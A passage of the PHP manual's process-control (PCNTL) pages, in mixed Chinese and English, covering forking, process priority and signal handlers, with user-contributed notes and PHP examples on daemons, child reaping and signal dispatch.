            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
Anonymous 19-Nov-2009 10:12
With regards to the database connection, one could deal with this using kill 9 or a sleep, the real problem is if two threads make a database query at the same time, PHP starts having random database errors that are not necessarily clear as to what the problem is.

You should create a separate link per thread.
Tony 29-Oct-2009 03:05
If you want to execute some code after your php page has been returned to the user. Try something like this -

<?php
function index()
{
        function shutdown() {
            posix_kill(posix_getpid(), SIGHUP);
        }

        // Do some initial processing

        echo("Hello World");

        // Switch over to daemon mode.

        if ($pid = pcntl_fork())
            return;     // Parent

        ob_end_clean(); // Discard the output buffer and close

        fclose(STDIN);  // Close all of the standard
        fclose(STDOUT); // file descriptors as we
        fclose(STDERR); // are running as a daemon.

        register_shutdown_function('shutdown');

        if (posix_setsid() < 0)
            return;

        if ($pid = pcntl_fork())
            return;     // Parent

        // Now running as a daemon. This process will even survive
        // an apachectl stop.

        sleep(10);

        $fp = fopen("/tmp/sdf123", "w");
        fprintf($fp, "PID = %s\n", posix_getpid());
        fclose($fp);

        return;
}
?>
php at mx dot magic-lamp dot org 11-Sep-2009 01:31
A workaround for the MySQL "Lost Connection during query", or any other object related problems caused by children exiting is to force the child to kill -9 itself, thus avoiding any cleanup.  Sure - it's not too elegant, but it does work.

<?php
$pid = pcntl_fork();
if ( $pid == 0 ) {
    // This is the child process.  Do something here.
    // Instead of calling exit(), we use posix_kill()
    posix_kill(getmypid(),9);
}
?>

Watch out that you don't spawn too many processes though as this creates its own problems.
drrota at us dot ibm dot com 22-Aug-2009 03:47
I was able to get around the problem of not being able to run fork and exec from Apache php.

I got around this by calling the system 'at' command on Linux.  "at run something now".  and you have to set atrun -s in a crontab file (to run every minute) to insure that things get kicked off quickly even if there is a heavy load on the machine.

If you're the only one running batch jobs on a linux box, this works.
kentmussell at mindspring dot com 27-Nov-2007 10:05
Here is an interesting script I wrote.  It demonstrates how pcntl_fork() might be used as a useful tool.

<?php
/* This script serves the purpose of testing an algorithm designed to:
a.) Compare password hashes, or try passwords efficiently where the time to try a single password is 10 seconds.
b.) Spawn threads to work simultaneously on comparing hashes.
c.) Restrict the number of threads open at a time.
*/
//checks for divisibility
function divby($num,$den) {
    $result = $num/$den;
    $result2 = floor($result);
    if ($result == $result2) {
        return true;
        }
    else {
        return false;
        }
    }
//checks whether a period of time fits into 2 second intervals occuring every 10 seconds.  Interval may increase or decrease in size to use more or less memory.
function goodTime($elapsed) {
    $num = floor($elapsed);
    $num = $num/12;
    $min = floor($num);
    $min = 12*$min;
    $max = $min+2;
    if ($elapsed >= $min && $elapsed <= $max) {
        return "yes";
        }
    else {
        return "no";
        }
    }

$x = 30; //number of child threads
$pid = 1; //needed to create first thread
$xpass = md5('29');//hash to crack
$time = time();
$i = 1;
//parent spawns $x children.
while ($i <= $x) {
    if (file_exists('childcall.txt')) {
        unlink('childcall.txt');
        exit;
        }
    $elapsed = time()-$time;
    //children are only spawned during intervals occuring every 10 seconds leaving enough time for the previous batch of children to finish their task.
    if (goodTime($elapsed)=="yes") {
        //Are we the parent?
        if ($pid != 0) {
            //Give birth to a child.
            $pid = pcntl_fork();
            //create a record of how many children have been birthed.
            $arr[$i] = $i;
            $time2 = $elapsed;
            }
        //escort children out of the loop.
        if ($pid == 0) {
            $i = $x+1;
            }
        $i++;
        }
    }
//parent waits for children to finish playing.
if ($pid) {
    $value = 1;
    while (!file_exists('childcall.txt')) {
        //wait
        }
    unlink('childcall.txt');
    $time = time()+2;
    while (time()<$time) {
        //wait
        }
    exit;
    }
//children take turns finding the highest array value, and changing it to 0
rsort($arr);
$value = max($arr);
$arr[$value] = 0;
$time = time()+10;
//simulate delay
while (time() < $time) {
    //wait
    }
//compare the high array value hash to the hash we are looking to crack.
if (md5($value) == $xpass) {
    echo "$value \n";
    }
if ($value == $x || md5($value) == $xpass) {
    $file = "childcall.txt";
    $content = true;
    file_put_contents($file,$contents);
    }
?>
amatsak at chestnutsoftware dot com 25-Oct-2006 02:06
The reason for the MySQL "Lost Connection during query" issue when forking is the fact that the child process inherits the parent's database connection. When the child exits, the connection is closed. If the parent is performing a query at this very moment, it is doing it on an already closed connection, hence the error.

An easy way to avoid this is to create a new database connection in parent immediately after forking. Don't forget to force a new connection by passing true in the 4th argument of mysql_connect():

<?php
// Create the MySQL connection
$db = mysql_connect($server, $username, $password);

$pid = pcntl_fork();

if ( $pid == -1 ) {
    // Fork failed
    exit(1);
} else if ( $pid ) {
    // We are the parent
    // Can no longer use $db because it will be closed by the child
    // Instead, make a new MySQL connection for ourselves to work with
    $db = mysql_connect($server, $username, $password, true);
} else {
    // We are the child
    // Do something with the inherited connection here
    // It will get closed upon exit
    exit(0);
?>

This way, the child will inherit the old connection, will work on it and will close upon exit. The parent won't care, because it will open a new connection for itself immediately after forking.

Hope this helps.
xuecan at google dot com 26-Aug-2006 09:59
I think this simple code can help understand how fork works:

<?php
echo "posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";

$pid = pcntl_fork();
if ($pid == -1) die("could not fork");
if ($pid) {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
} else {
    echo "pid=".$pid.", posix_getpid()=".posix_getpid().", posix_getppid()=".posix_getppid()."\n";
}
?>
arnold at helderhosting dot nl 13-Feb-2005 07:12
It is not possible to use the function 'pcntl_fork' when PHP is used as Apache module. You can only use pcntl_fork in CGI mode or from command-line.

Using this function will result in: 'Fatal error: Call to undefined function: pcntl_fork()'
ben at gelbnet dot com 25-Sep-2002 03:54
I was writing a shell script to get input from a user, however, I needed my script to time out after a certain number of seconds if the user didn't enter enough data. The code below descibes the method I used. It's a little hairy but it does work.

-Ben

#!/home/ben/php/bin/php -q
<?php
//GLOBALS
$RETURN_CHAR = "\n";
$TIMEOUT = 5; //number of seconds to timeout on input
$PID = getmypid();
$CHILD_PID = 0;

//Make sure program execution doesn't time out
set_time_limit(0);

function set_timeout() {
global $PID;
global $CHILD_PID;
global $TIMEOUT;

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0) {
sleep($TIMEOUT);
posix_kill($PID, SIGTERM);
exit;
}
}

function clear_timeout() {
global $CHILD_PID;
posix_kill($CHILD_PID, SIGTERM);
}

// read_data()
// gets a line of data from STDIN and returns it
function read_data() {

$in = fopen("php://stdin", "r");
set_timeout();
$in_string = fgets($in, 255);
clear_timeout();
fclose($in);
return $in_string;
}

// write_data($outstring)
// writes data to STDOUT
function write_data($outstring) {
$out = fopen("php://stdout", "w");
fwrite($out, $outstring);
fclose($out);
}

while(1) {
write_data("say something->");
$input = read_data();
write_data($RETURN_CHAR.$input);
}

?>


Retrieve the error number set by the last pcntl function which failed

  • ? pcntl_fork
  • pcntl_getpriority ?
  • PHP Manual
  • PCNTL 函数
  • Retrieve the error number set by the last pcntl function which failed

pcntl_get_last_error

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed

说明

pcntl_get_last_error(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns error code.

参见

  • pcntl_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

There are no user contributed notes for this page.


获取任意进程的优先级

  • ? pcntl_get_last_error
  • pcntl_rfork ?
  • PHP Manual
  • PCNTL 函数
  • 获取任意进程的优先级

pcntl_getpriority

(PHP 5, PHP 7, PHP 8)

pcntl_getpriority — 获取任意进程的优先级

说明

pcntl_getpriority(?int $process_id = null, int $mode = PRIO_PROCESS): int|false

pcntl_getpriority() 获取进程号为 process_id 的进程的优先级。由于不同的系统类型以及内核版本下 优先级可能不同，因此请参考系统的 getpriority（2）手册以获取详细的规范。

参数

process_id

如果为 null，默认使用当前进程的进程号。

mode

PRIO_PGRP（译注：获取进程组优先级）、PRIO_USER（译注：获取用户进程优先级）、PRIO_PROCESS（译注：默认值;获取进程优先级）、PRIO_DARWIN_BG 或 PRIO_DARWIN_THREAD 之一。

返回值

pcntl_getpriority() 返回进程的优先级或在错误时返回 false。值越小代表优先级越高。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | process_id 现在可以为 null。

参见

  • pcntl_setpriority() - 修改任意进程的优先级

User Contributed Notes

jonathan at jcdesigns dot com 15-May-2008 02:12
This function is ideal for checking if a given process is running, I have seen solutions that involve running the system utilites like PS and parsing the answer, which should work fine, but this allows you to check a given PID with a single call

function CheckPID( $PID )
{
        // Check if the passed in PID represents a vlaid process in the system
        // Returns true if it does
        // Turn off non-fatal runtime warning for a moment as we know we
        // will get one if the PID does not represent a valid process

    $oldErrorLevel = error_reporting(0);
    error_reporting( $oldErrorLevel & ~E_WARNING );
    $res = pcntl_getpriority($PID);
    error_reporting( $oldErrorLevel);
    return ! ( $res === false);
}


Manipulates process resources

  • ? pcntl_getpriority
  • pcntl_setpriority ?
  • PHP Manual
  • PCNTL 函数
  • Manipulates process resources

pcntl_rfork

(PHP 8 >= 8.1.0)

pcntl_rfork — Manipulates process resources

说明

pcntl_rfork(int $flags, int $signal = 0): int

Manipulates process resources.

参数

flags

The flags parameter determines which resources of the invoking process (parent) are shared by the new process (child) or initialized to their default values.

flags is the logical OR of some subset of:

  • RFPROC: If set a new process is created; otherwise changes affect the current process.
  • RFNOWAIT: If set, the child process will be dissociated from the parent. Upon exit the child will not leave a status for the parent to collect.
  • RFFDG: If set, the invoker's file descriptor table is copied; otherwise the two processes share a single table.
  • RFCFDG: If set, the new process starts with a clean file descriptor table. Is mutually exclusive with RFFDG.
  • RFLINUXTHPN: If set, the kernel will return SIGUSR1 instead of SIGCHILD upon thread exit for the child. This is intended to do Linux clone exit parent notification.

signal

The signal number.

返回值

On success, the PID of the child process is returned in the parent's thread of execution, and a 0 is returned in the child's thread of execution. On failure, a -1 will be returned in the parent's context, no child process will be created, and a PHP error is raised.

示例

Example #1 pcntl_rfork() example

<?php

$pid = pcntl_rfork(RFNOWAIT|RFTSIGZMB, SIGUSR1);
if ($pid > 0) {
// This is the parent process.
var_dump($pid);
} else {
// This is the child process.
var_dump($pid);
sleep(2); // as the child does not wait, so we see its "pid"
}
?>

以上示例的输出类似于：

int(77093)
int(0)

注释

Note:

This function is only available on BSD systems.

参见

  • pcntl_fork() - 在当前进程当前位置产生分叉（fork）
  • pcntl_waitpid() - 等待或返回 fork 的子进程状态
  • pcntl_signal() - 安装信号处理程序
  • cli_set_process_title() - Sets the process title

User Contributed Notes

There are no user contributed notes for this page.


修改任意进程的优先级

  • ? pcntl_rfork
  • pcntl_signal_dispatch ?
  • PHP Manual
  • PCNTL 函数
  • 修改任意进程的优先级

pcntl_setpriority

(PHP 5, PHP 7, PHP 8)

pcntl_setpriority — 修改任意进程的优先级

说明

pcntl_setpriority(int $priority, ?int $process_id = null, int $mode = PRIO_PROCESS): bool

pcntl_setpriority() 设置进程号为 process_id 的进程的优先级。

参数

priority

priority 通常时 -20 至 20 这个范围内的值。默认优先级是 0,值越小代表 优先级越高。由于不同的系统类型以及内核版本下优先级可能不同，因此请参考系统的 setpriority（2） 手册以获取详细的规范。

process_id

如果为 null，默认是当前进程的进程号。

mode

PRIO_PGRP（译注：获取进程组优先级）、PRIO_USER（译注：获取用户进程优先级）或 PRIO_PROCESS（译注：默认值;获取进程优先级）、PRIO_DARWIN_BG 或 PRIO_DARWIN_THREAD 之一。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | process_id 可以为 null。

参见

  • pcntl_getpriority() - 获取任意进程的优先级
  • pcntl_setpriority()

User Contributed Notes

t dot stobbe at blackdogdev dot com 27-Aug-2006 03:49
As for the renice function by leandro dot pereira at gmail dot com, this isn't true.  pcntl_setpriority() doesn't set the nice level of a process, but instead sets the base priority of it.  At first glance this might seem like the same thing, but on a system level, they are actually quite different.

In fact, if you're looking to use pcntl_setpriority() to prioritize your process (a tool or a daemon or what-not), I wouldn't recomend using setpriority at all, but renice it instead.  Let the system manage priorities and you'll end up with the results you were looking for.

This applies only to POSIX based systems only (as does the function presented by leandro dot pereira at gmail dot com as well).
leandro dot pereira at gmail dot com 23-Dec-2004 07:08
The following snippet may be used under older versions of PHP to provide similar functionality.  Tested only under Linux.

<?php
function _pcntl_setpriority($priority, $pid = 0)
{
        $priority = (int)$priority;
        $pid = (int)$pid;

        if ($priority > 20 && $priority < -20) {
                return False;
        }
        if ($pid == 0) {
                $pid = getmypid();
        }

        return system("renice  $priority -p $pid") != false;
}

?>


调用等待信号的处理程序

  • ? pcntl_setpriority
  • pcntl_signal_get_handler ?
  • PHP Manual
  • PCNTL 函数
  • 调用等待信号的处理程序

pcntl_signal_dispatch

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

pcntl_signal_dispatch — 调用等待信号的处理程序

说明

pcntl_signal_dispatch(): bool

pcntl_signal_dispatch() 函数调用每个等待信号通过 pcntl_signal() 安装的处理程序。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 pcntl_signal_dispatch() 示例

<?php
echo "安装信号处理程序...\n";
pcntl_signal(SIGHUP, function($signo) {
echo "信号处理程序被调用\n";
});

echo "为自己生成SIGHUP信号...\n";
posix_kill(posix_getpid(), SIGHUP);

echo "分发...\n";
pcntl_signal_dispatch();

echo "完成\n";

?>

以上示例的输出类似于：

安装信号处理程序...
为自己生成SIGHUP信号...
分发...
信号处理程序被调用
完成

参见

  • pcntl_signal() - 安装信号处理程序
  • pcntl_sigprocmask() - 设置或检索阻塞信号
  • pcntl_sigwaitinfo() - 等待信号
  • pcntl_sigtimedwait() - 带超时机制的信号等待

User Contributed Notes

stefanis 13-May-2014 06:45
Well I misspoke before. It is not enough to process signals outside of the signal handler. They must be processed outside of the tick handler (explicit or implied). So...

Register a tick handler that calls pcntl_signal_dispatch();
In the signal handler, enqueue your signal;
In the main loop of your script, process your signals;

<?php
declare(ticks=1);
global $sig_queue;
global $use_queue;
$sig_queue = array();
$use_queue = true;   // set to false to do it the old way

function tick_handler()
{
     pcntl_signal_dispatch();
}

function sig_handler($sig)
{
     global $sig_queue;
     global $use_queue;

     if(isset($use_queue) && $use_queue)
     {
          $sig_queue[] = $sig;
     }
     else
     {
          sig_helper($sig);
     }
}

function sig_helper($sig)
{
     switch($sig)
     {
     case SIGHUP:
          $pid = pcntl_fork();
          if($pid) print("forked $pid\n");
          break;

     default:
          print("unhandled sig: $sig\n");
     }
}

pcntl_signal(SIGHUP,   "sig_handler");

while(true)
{
     if($use_queue) foreach($sig_queue as $idx=>$sig)
     {
           sig_helper($sig);
           unset($sig_queue[$idx]);
     }
     sleep(1);
}
?>
stefanis 13-May-2014 12:40
As noted by "me at subsonic dot net" calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This seems to be true even if you pcntl_exec() a new PHP processor to execute an entirely different script.

The solution seems to be to explicitly call pcntl_signal_dispatch()inside a ticks_handler() . And use sig_handler(int) as a push function to a queue. Immediately following the call to dispatch in the ticks_handler, pop your queue doing what you would have done in the signal_handler until the queue is empty.
me at subsonic dot cz 27-Jan-2014 05:33
Note that calling pcntl_signal_dispatch() from within a signal handler invoked by a previous pcntl_signal_dispatch() will not trigger handlers for any new pending signals. This means that if you write a CLI daemon which forks off child processes in response to a signal, then those child processes won't be able to respond to signals. This gave me a headache for a while as pcntl_signal_dispatch() doesn't raise any errors when this occurs. One solution is to set a flag within the signal handler and react upon it (by forking off the needed child processes) elsewhere in the parent process's main loop.
webmaster at ajeux dot com 10-Aug-2009 10:50
If you are running PHP as CLI and as a "daemon" (i.e. in a loop), this function must be called in each loop  to check if new signals are waiting dispatching.


Get the current handler for specified signal

  • ? pcntl_signal_dispatch
  • pcntl_signal ?
  • PHP Manual
  • PCNTL 函数
  • Get the current handler for specified signal

pcntl_signal_get_handler

(PHP 7 >= 7.1.0, PHP 8)

pcntl_signal_get_handler — Get the current handler for specified signal

说明

pcntl_signal_get_handler(int $signal): callable|int

The pcntl_signal_get_handler() function will get the current handler for the specified signal.

参数

signal

The signal number.

返回值

This function may return an integer value that refers to SIG_DFL or SIG_IGN. If a custom handler has been set, that callable is returned.

更新日志

版本 | 说明
7.1.0 | pcntl_signal_get_handler() has been added.

示例

Example #1 pcntl_signal_get_handler() example

<?php
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: int(0)

function pcntl_test($signo) {}
pcntl_signal(SIGUSR1, 'pcntl_test');
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: string(10) "pcntl_test"

pcntl_signal(SIGUSR1, SIG_DFL);
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: int(0)

pcntl_signal(SIGUSR1, SIG_IGN);
var_dump(pcntl_signal_get_handler(SIGUSR1)); // Outputs: int(1)
?>

参见

  • pcntl_signal() - 安装信号处理程序

User Contributed Notes

MAL 07-Feb-2021 09:08
If the signal handler is a Closure, the function itself is returned:

pcntl_signal(SIGHUP, function ($signo, $siginfo) {
    echo SIGHUP;
});

var_dump(pcntl_signal_get_handler(SIGHUP)); // Outputs: string(6) "SIGHUP"
jrdbrndt at gmail dot com 13-Jan-2018 02:06
It is worth noting that supplying an invalid signal number will trigger a warning and return false.


安装信号处理程序

  • ? pcntl_signal_get_handler
  • pcntl_sigprocmask ?
  • PHP Manual
  • PCNTL 函数
  • 安装信号处理程序

pcntl_signal

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_signal — 安装信号处理程序

说明

pcntl_signal(int $signal, callable|int $handler, bool $restart_syscalls = true): bool

pcntl_signal() 函数为 signal 指定的信号安装新的信号处理程序或替换当前信号处理程序。

参数

signal

信号编号。

handler

信号处理程序。要么是 callable，将调用它来处理信号，要么是全局常量 SIG_IGN 或 SIG_DFL，将分别用于忽略信号或恢复默认信号处理程序。

如果指定为 callable，必须实现以下签名：

handler(int $signo, mixed $siginfo): void
signal
正在处理的信号。
siginfo
如果操作系统支持 siginfo_t 结构体，这将是依赖于信号的信号信息数组。

Note:

请注意，当处理程序设置为对象方法时，该对象的引用计数会增加，这会使其持续存在，直到将处理程序更改为其他内容或脚本结束为止。

restart_syscalls

指定当信号到达时系统调用重启是否可用。（译注：经查资料，此参数意为系统调用被信号打断时，系统调用是否从 开始处重新开始，但根据 http://bugs.php.net/bug.php?id=52121，此参数存在bug无效。）

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.1.0 | 从 PHP 7.1.0 开始，处理程序 callback 指定为第二个参数，其中包含特定信号的 siginfo。仅当操作系统具有 siginfo_t 结构体时才提供此数据。如果操作系统未实现 siginfo_t，则提供 NULL。

示例

Example #1 pcntl_signal() 示例

<?php
// 需要使用 ticks
declare(ticks = 1);

// 信号处理函数
function sig_handler($signo)
{

switch ($signo) {
case SIGTERM:
// 处理终止任务
exit;
break;
case SIGHUP:
// 处理重启任务
break;
case SIGUSR1:
echo "Caught SIGUSR1...\n";
break;
default:
// 处理所有其它信号
}

}

echo "Installing signal handler...\n";

// 安装信号处理程序
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");

// 或使用对象
// pcntl_signal(SIGUSR1, array($obj, "do_something");

echo "Generating signal SIGUSR1 to self...\n";

// 向当前进程 ID 发送 SIGUSR1 信号
// posix_* 函数需要 posix 扩展
posix_kill(posix_getpid(), SIGUSR1);

echo "Done\n";

?>

注释

pcntl_signal() 不堆叠信号处理程序，而是替换。

参见

  • pcntl_fork() - 在当前进程当前位置产生分叉（fork）
  • pcntl_waitpid() - 等待或返回 fork 的子进程状态

User Contributed Notes

kuba at valentine dot dev 19-Jul-2019 12:13
Remember that signal handlers are called immediately, so every time when your process receives registered signal blocking functions like sleep() and usleep() are interrupted (or more like ended) like it was their time to finish.

This is expected behaviour, but not mentioned in this documentation. Sleep interruption can be very unfortunate when for example you run a daemon that is supposed to execute some important task exactly every X seconds/minutes - this task could be called too early or too often and it would be hard to debug why it's happening exactly.

Simply remember that signal handlers might interfere with other parts of your code.
Here is example workaround ensuring that function gets executed every minute no matter how many times our loop gets interrupted by incoming signal (SIGUSR1 in this case).

<?php

  pcntl_async_signals(TRUE);

  pcntl_signal(SIGUSR1, function($signal) {
    // do something when signal is called
  });

  function everyMinute() {
    // do some important stuff
  }

  $wait = 60;
  $next = 0;

  while (TRUE) {
    $stamp = time();
    do {
      if ($stamp >= $next) { break; }
      $diff = $next - $stamp;
      sleep($diff);
      $stamp = time();
    } while ($stamp < $next);

    everyMinute();

    $next = $stamp + $wait;
    sleep($wait);
  }

?>

So in this infinite loop do {} while() calculates and adds missing sleep() to ensure that our everyMinute() function is not called too early. Both sleep() functions here are covered so everyMinute() will never be executed before it's time even if process receives multiple SIGUSR1 signals during it's runtime.
Aurelien Marchand 29-Jun-2018 02:29
To be clear, the phrase "pcntl_signal() doesn't stack the signal handlers, but replaces them. " means that you can still have different functions for different signals but only one function per signal.

In other words, this will work as expected

<?php

pcntl_async_signals(true);
pcntl_signal(SIGUSR1,function(){echo "received SIGUSR1";});
pcntl_signal(SIGUSR2,function(){echo "received SIGUSR2";});
posix_kill(posix_getpid(),SIGUSR1);
posix_kill(posix_getpid(),SIGUSR2);

// returns "received SIGUSR1" and then "received SIGUSR2"

?>
Ryan Jentzsch 21-Nov-2017 08:53
If you are using PHP >= 7.1 then DO NOT use `declare(ticks=1)` instead use `pcntl_async_signals(true)`

There's no performance hit or overhead with `pcntl_async_signals()`. See this blog post https://blog.pascal-martin.fr/post/php71-en-other-new-things.html for a simple example of how to use this.
wally at soggysoftware dot co dot uk 26-Apr-2016 12:27
A word of caution around the third parameter (restart_syscalls) in pcntl_signal(...).

I kept having a repeated issue where (seemingly randomly) my script would "exit unexpectedly" (_exit_, not crash: the exit code was always 0) while tracking forked children using signal handlers.

It appears that the signal handling is not at fault (indeed, PHP isn't "at fault").  Having "restart_syscalls" set to FALSE seemed to be the problem's cause.

I haven't debugged the issue extensively - except to observe that the issue was highly intermittent and seemed to relate to my use of usleep() in conjunction with restart_syscalls=FALSE.

My theory is the usleep() was wrongly tracking time - as described over here: http://man7.org/linux/man-pages/man2/restart_syscall.2.html

Long story short, I re-enabled (which is the default value) restart_syscalls, and the issue went away.

If you're curious - register_shutdown_function was still being handled correctly - so PHP definitely was _NOT_ crashing.  Interestingly however, my procedural code never "resumed" after the signal was handled.

I do not believe this is a bug.  I believe it was ignorant user error.  YMMV.
dorogikh dot alexander at gmail dot com 22-Oct-2014 07:40
Looks like php uses  RealTime signals. This means that if one signal is currently processed, then other signals will not be lost.

just for example
<?php
pcntl_signal(SIGHUP, SIG_IGN)
?>

in strace log looks like this

"rt_sigaction(SIGHUP, {SIG_IGN, [], SA_RESTORER|SA_RESTART, 0x7f8caf83cc30}, {SIG_DFL, [], 0}, 8) = 0"

And code for testing

<?php
pcntl_signal(SIGHUP, function($signo){
  echo "1\n";
  sleep(2);
  echo "2\n";
});

while(true){
  sleep(1);
  pcntl_signal_dispatch();
}
?>

Run this and send how many SIGHUP signals as you want. All of them will be processed.

P.S.
I guess "all of them". I couldn't found real signal queue size. Will appreciate if someone points me.
fx4084 at gmail dot com 12-Sep-2014 08:13
<?php
pcntl_signal(SIGTERM,  function($signo) {
    echo "\n This signal is called. [$signo] \n";
    Status::$state = -1;
});

class Status{
    public static $state = 0;
}

$pid = pcntl_fork();
if ($pid == -1) {
    die('could not fork');
}

if($pid) {
    // parent
} else {
    while(true) {
        // Dispatching...
        pcntl_signal_dispatch();
        if(Status::$state == -1) {
            // Do something and end loop.
            break;
        }

        for($j = 0; $j < 2; $j++) {
            echo '.';
            sleep(1);
        }
        echo "\n";
    }

    echo "Finish \n";
    exit();
}

$n = 0;
while(true) {
    $res = pcntl_waitpid($pid, $status, WNOHANG);

    // If the child process ends, then end the main process.
    if(-1 == $res || $res > 0)
        break;

    // Send a signal after 5 seconds..
    if($n == 5)
        posix_kill($pid, SIGTERM);

    $n++;

    sleep(1);
}
?>
frustrated at outdated docs 07-Mar-2014 11:01
Please be aware that declaring ticks or calling pcntl_signal_dispatch() in 5.3 and later is required to make pcntl_signal do anything useful. I wish the documentation made this more clear.
Zsolt Szilagyi 19-Feb-2013 09:04
Remember that declaring a tick handler can become really expensive in terms of CPU cycles: Every n ticks the signal handling overhead will be executed.

So instead of declaring tick=1, test if tick=100 can do the job. If so, you are likely to gain fivefold speed.

As your script might always might miss some signals due to blocking operations like cURL downloads, call pcntl_signal_dispatch() on vital spots, e.g. at the beginning of your main loop.
S. Kr@cK 31-May-2012 12:25
static class method to get the name of a process signal as string:

(self::$processSignalDescriptions is used to cache the results)

<?php
    public static function getPOSIXSignalText($signo) {

        try {
            if (is_null(self::$processSignalDescriptions)) {

                self::$processSignalDescriptions = array();

                $signal_list = explode(" ", trim(shell_exec("kill -l")));
                foreach ($signal_list as $key => $value) {
                    self::$processSignalDescriptions[$key+1] = "SIG".$value;
                }
            }

            return isset(self::$processSignalDescriptions[$signo])?self::$processSignalDescriptions[$signo]:"UNKNOWN";

        } catch (Exception $e) {}

        return "UNKNOWN";
    }
?>
Aurelien Marchand 04-Mar-2011 07:22
I was having some issues with processing a signal using an object method I use for something else as well. In particular, I wanted to handle SIGCHLD with my own method "do_reap()" which I also call after a stream_select timeout and that uses a non-blocking pcntl_waitpid function.

The method was called when the signal was received but it couldn't reap the child.

The only way it worked was by creating a new handler that itself called do_reap().

So in other words, the following does not work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"do_reap"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }
}
?>

But this work:

<?php
class Parent {
  /* ... */
  private function do_reap(){
    $p = pcntl_waitpid(-1,$status,WNOHANG);
    if($p > 0){
      echo "\nReaped zombie child " . $p;
    }

   public function run(){
    /* ... */
    pcntl_signal(SIGCHLD,array(&$this,"child_died"));
    $readable = @stream_select($read,$null,$null,5); // 5 sec timeout
    if($readable === 0){
      // we got a timeout
      $this->do_reap();
   }

    private function child_died(){
      $this->do_reap();
    }
}
?>
webmaster at ajeux dot com 10-Aug-2009 06:56
For PHP >= 5.3.0, instead of declare(ticks = 1), you should now use pcntl_ signal_ dispatch().
benjamin at josefus dot /NO+SPAM/ net 24-Jul-2009 01:25
Since php >= 5.3 handles Closures, you are now able to define the Callback directly.
Try this:

<?php
declare(ticks = 1);

pcntl_signal(SIGUSR1, function ($signal) {
            echo 'HANDLE SIGNAL ' . $signal . PHP_EOL;
});

posix_kill(posix_getpid(), SIGUSR1);

die;
?>
ewout dot NOSPAM dot zigterman at custosys dot nl 21-Apr-2009 08:32
I found out then when you use pcntl_signal in a 'deamon' script and you run it before you fork childs it does not work as expected.

instead you need to use pcntl_signal in the child code of the child you are forking

and if you want to cach signals for the 'deamon' part you should use pcntl_signal in the parent code.
seong at respice dot net 14-Feb-2009 08:48
Be careful, when using an object in your callback. It seems this elevates the reference count. You may not want it to happen in repeated child processes.
rbotzer at yahoo dot com 21-Jun-2008 11:50
You cannot assign a signal handler for SIGKILL (kill -9).
Holger Hees 09-Jun-2008 12:49
you should use following code to prevent situation described by anxious2006 (children exit near simultaneously)

public function sig_handler($signo){
  switch ($signo) {
    case SIGCLD:
      while( ( $pid = pcntl_wait ( $signo, WNOHANG ) ) > 0 ){
        $signal = pcntl_wexitstatus ( $signo );
      }
      break;
  }
}
Anonymous 20-Dec-2007 08:44
Multiple children return less than the number of children exiting at a given moment SIGCHLD signals is normal behavior for Unix (POSIX) systems.  SIGCHLD might be read as "one or more children changed status -- go examine your children and harvest their status values".  Signals are implemented as bit masks in most Unix systems, so there can only be 1 SIGCHLD bit set in any given kernel tick for a process.
anxious2006 30-Oct-2007 09:35
Under my setup (FreeBSD 6.2-RELEASE / PHP 5.2.4 CLI) I've noticed that when a child exits the SIGCHLD handler in the parent is not always invoked. It seems to happen when two children exit near simultaneously.

In this instance the child prints "EXIT" and the parent prints "SIGCHLD received":

- EXIT
- SIGCHLD received

This works as expected, but now look what happens when three exit in quick succession:

- EXIT
- EXIT
- EXIT
- SIGCHLD received
- SIGCHLD received

Because of this quirk any code which tries to limit the maximum number of children by incrementing on fork and decrementing on SIGCHLD will eventually end up with a single child (or no further forks), since the "active children" count is always above the maximum. I've noticed similar behaviour with using decrement after pcntl_wait(). Hopefully there's a workaround for this.
rob at robertjohnkaper dot com 16-Nov-2006 03:00
Tip: when using objects, don't set the signal handler from the constructor or even a method called from the constructor - your internal variables will be uninitialised.
nate at example dot com 29-Oct-2006 04:10
If you have a script that needs certain sections to not be interrupted by a signal (especially SIGTERM or SIGINT), but want to make your script ready to process that signal ASAP, there's only one way to do it. Flag the script as having received the signal, and wait for your script to say its ready to process it.

Here's a sample script:

<?
    $allow_exit = true;  // are we permitting exit?
    $force_exit = false; // do we need to exit?

    declare(ticks = 1);
    register_tick_function('check_exit');
    pcntl_signal(SIGTERM, 'sig_handler');
    pcntl_signal(SIGINT, 'sig_handler');

    function sig_handler () {
        global $allow_exit, $force_exit;

        if ($allow_exit)
            exit;
        else
            $force_exit = true;
    }

    function check_exit () {
        global $allow_exit, $force_exit;

        if ($force_exit && $allow_exit)
